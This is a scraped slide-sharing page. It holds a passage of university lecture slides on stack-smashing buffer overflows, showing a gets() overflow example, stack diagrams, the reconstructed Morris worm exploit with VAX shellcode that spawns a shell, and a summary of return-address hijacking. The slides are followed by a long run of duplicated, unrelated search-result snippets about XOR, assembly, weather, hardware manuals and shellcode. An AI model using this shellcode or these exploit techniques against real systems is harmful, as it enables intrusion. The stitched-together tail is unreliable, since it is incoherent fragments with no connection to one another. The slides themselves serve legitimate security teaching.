Page 63: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

actual limitationoverwriting address?

probably can’t make sure that’s all normal ASCII chars

but flexibility also useful in other exploits

41

Page 64: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

aside: simpler overflowstruct QuizQuestion questions[NUM_QUESTIONS];int giveQuiz() {

int score = 0;char buffer[100];for (int i = 0; i < NUM_QUESTIONS; ++i) {

gets(buffer);if (checkAnswer(buffer, &questions[i])) {

score += 1;}

}return score;

}

42

Page 65: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

aside: simpler overflowstruct QuizQuestion questions[NUM_QUESTIONS];int giveQuiz() {

int score = 0;char buffer[100];for (int i = 0; i < NUM_QUESTIONS; ++i) {

gets(buffer);if (checkAnswer(buffer, &questions[i])) {

score += 1;}

}return score;

}

42

Page 66: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

simpler overflow: stack

incr

easin

gad

dres

ses

highest address (stack started here)

lowest address (stack grows here)

return address for giveQuiz

score (4 bytes): 00 00 00 00

buffer (100 bytes)

return address for gets

aaaa…

…aaaa

input: 103 a’s (a = 0x61)

43

Page 67: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

simpler overflow: stack

incr

easin

gad

dres

ses

highest address (stack started here)

lowest address (stack grows here)

return address for giveQuiz

score (4 bytes): 61 61 61 00

buffer (100 bytes)

return address for getsaaaa…

…aaaa

input: 103 a’s (a = 0x61)

43

Page 68: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

buffer overflows and exploitabilityI’m safe because …

my buffers are on the stack

they can write one thing past the buffer

some other mitigation against stack smashing

probably not safethere’s more than stack smashing

44

Page 69: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

actual example: Morris worm/* reconstructed from machine code */for(i = 0; i < 536; i++) buf[i] = '\0';for(i = 0; i < 400; i++) buf[i] = 1;/* actual shellcode */memcpy(buf + i,

("\335\217/sh\0\335\217/bin\320\032\335\0""\335\0\335Z\335\003\320\034\\274;\344""\371\344\342\241\256\343\350\357""\256\362\351"),28);

/* frame pointer, return val, etc.: */*(int*)(&buf[556]) = 0x7fffe9fc;*(int*)(&buf[560]) = 0x7fffe8a8;*(int*)(&buf[564]) = 0x7fffe8bc;...send(to_server, buf, sizeof(buf))send(to_server, "\n", 1);

45

Page 70: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

Morris shellcode (VAX)pushl $68732f // "/sh\0"pushl $6e69622f // "/bin"movl sp, r10pushl $0pushl $0pushl r10pushl $3movl sp,apchmk $3bsetup: run command prompt (“shell”)after overflow: send commands to run

46

Page 71: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

stack smashing summarysetup:

buffer on the stackattacker controls what gets written past the end

overwrite return address with address of (part of) buffer

execution goes to attacker machine code when function returns

47


masm 32 ˙˝ﺏ ا ˝˚ ه…حاضرات-تعليمية... · eax=FFFFFFFD -: 7ه ˘"˜ﻝا ن7' :ˆFﻝا تا7i@ﻝا z)ˇ s %i&ˆ ax=FFFD ah=FF al=FD 3-mov eax,-1 eax=FFFFFFFF

masm 32 ˙˝ﺏ ا ˝˚ ه…حاضرات-تعليمية... · eax=FFFFFFFD -: 7ه ˘"˜ﻝا ن7' :ˆFﻝا تا7i@ﻝا z)ˇ s %i&ˆ ax=FFFD ah=FF al=FD 3-mov eax,-1 eax=FFFFFFFF

Smith River Plan Update - Draft EAx

Smith River Plan Update - Draft EAx

XOR Operator

XOR Operator

Mesoscale Banded Precipitation EAX Winter Weather Workshop 28 October 2008 EAX Winter Weather Workshop 28 October 2008.

Mesoscale Banded Precipitation EAX Winter Weather Workshop 28 October 2008 EAX Winter Weather Workshop 28 October 2008.

Compuertas XOR

Compuertas XOR

Mac OS X Hacking - SECURITY ASSESSMENTS · 2020-02-08 · sub r12, 1 jne duper; execve = 0x200003b lea rdi, [rel cmd] xor rdx, rdx push rdx push rdi mov rsi, rsp mov eax, 0x200003b

Mac OS X Hacking - SECURITY ASSESSMENTS · 2020-02-08 · sub r12, 1 jne duper; execve = 0x200003b lea rdi, [rel cmd] xor rdx, rdx push rdx push rdi mov rsi, rsp mov eax, 0x200003b

Assembly Language: Part 1...andl $1, %eax je else jmp endif else: endif: sarl $1, %r11d movl %r11d, %eax addl %eax, %r11d addl %eax, %r11d addl $1, %r11d addl $1, %r10d loop: cmpl

Assembly Language: Part 1...andl $1, %eax je else jmp endif else: endif: sarl $1, %r11d movl %r11d, %eax addl %eax, %r11d addl %eax, %r11d addl $1, %r11d addl $1, %r10d loop: cmpl

XOR Overall Comprehension

XOR Overall Comprehension

Xor Data Sheet

Xor Data Sheet

COMP40 · 2020. 9. 29. · mov %edi, %eax shl $0x4, %eax retq Assembly instructions: int times16( int i ) { return i * 16; } 89 f8 c1 e0 04 c3 Actual machine instructions: The small

COMP40 · 2020. 9. 29. · mov %edi, %eax shl $0x4, %eax retq Assembly instructions: int times16( int i ) { return i * 16; } 89 f8 c1 e0 04 c3 Actual machine instructions: The small

XOR Media CloudAqua

XOR Media CloudAqua

Symbolic Execution of x86 assembly in Isabelle/HOLjrh13/spisa19/slides_01.pdf · 2019. 9. 18. · 3ea4: mov QWORD PTR [rsp+0x118],rax 3eac: xor eax,eax 3eae: lea rsi,[rsp+0x8] 3eb3:

Symbolic Execution of x86 assembly in Isabelle/HOLjrh13/spisa19/slides_01.pdf · 2019. 9. 18. · 3ea4: mov QWORD PTR [rsp+0x118],rax 3eac: xor eax,eax 3eae: lea rsi,[rsp+0x8] 3eb3:

Intel 32bit アーキテクチャーkikn/CA/CA8-IA32b.pdfCASLとIA32の比較 種類 IA32 CASL データ転送 MOV EAX, EDX MOV EAX, 1 LEA EAX, 0123h MOV EAX, 1, EEX LD GR0, GR1 LAD

Intel 32bit アーキテクチャーkikn/CA/CA8-IA32b.pdfCASLとIA32の比較 種類 IA32 CASL データ転送 MOV EAX, EDX MOV EAX, 1 LEA EAX, 0123h MOV EAX, 1, EEX LD GR0, GR1 LAD

EAX-Q77 · 2019. 11. 15. · EAX-Q77 User’s Manual 4 EAX-Q77 User’s Manual Product Warranty Avalue warrants to you, the original purchaser, that each of its products will be free

EAX-Q77 · 2019. 11. 15. · EAX-Q77 User’s Manual 4 EAX-Q77 User’s Manual Product Warranty Avalue warrants to you, the original purchaser, that each of its products will be free

%rax %eax %rbx %ebx %rdx %edx %rcx %ecx %rsi %esi %rdi %edi %rbp %ebp %rsp %esp %r8 %r8d %r9 %r9d %r11 %r11d %r10 %r10d %r12 %r12d %r13 %r13d.

%rax %eax %rbx %ebx %rdx %edx %rcx %ecx %rsi %esi %rdi %edi %rbp %ebp %rsp %esp %r8 %r8d %r9 %r9d %r11 %r11d %r10 %r10d %r12 %r12d %r13 %r13d.

Introduction to Shellcode Development Ionut Popescu · Linux shellcode example jmp short ender starter: xor eax, eax ;clean up the registers xor ebx, ebx xor edx, edx xor ecx, ecx

Introduction to Shellcode Development Ionut Popescu · Linux shellcode example jmp short ender starter: xor eax, eax ;clean up the registers xor ebx, ebx xor edx, edx xor ecx, ecx

XOR Operator A short digression… … to introduce another Boolean operation: exclusive- OR (XOR) ABA + B 000 011 101 110 XOR.

XOR Operator A short digression… … to introduce another Boolean operation: exclusive- OR (XOR) ABA + B 000 011 101 110 XOR.

Performance Modeling and Analysis at AMD: A Guided Tour · 2007. 5. 4. · JNL LOC_0x4163C6H MOV [EBP+18H],BX LEA EAX,[EBX+0FH] SAR EAX,03H MOV [EBP+1AH],DX SHR EAX,1CH OS/Application

Performance Modeling and Analysis at AMD: A Guided Tour · 2007. 5. 4. · JNL LOC_0x4163C6H MOV [EBP+18H],BX LEA EAX,[EBX+0FH] SAR EAX,03H MOV [EBP+1AH],DX SHR EAX,1CH OS/Application

Παράδειγμα εκτέλεσης στην ΚΜΕ · 80490cc: 0000002b ffffffff 08048080 program counter 00000000 eax 00000000 ecx 00000000 edi C S Z V flags επόμενη

Παράδειγμα εκτέλεσης στην ΚΜΕ · 80490cc: 0000002b ffffffff 08048080 program counter 00000000 eax 00000000 ecx 00000000 edi C S Z V flags επόμενη

esp - · PDF fileesp pop edx Datum pop ecx ret add eax,[edx] push edi ret mov [edx], ecx ret pop edi ret ret pop edx ret Bachelorstudiengang Informatik/IT-Sicherheit

esp - · PDF fileesp pop edx Datum pop ecx ret add eax,[edx] push edi ret mov [edx], ecx ret pop edi ret ret pop edx ret Bachelorstudiengang Informatik/IT-Sicherheit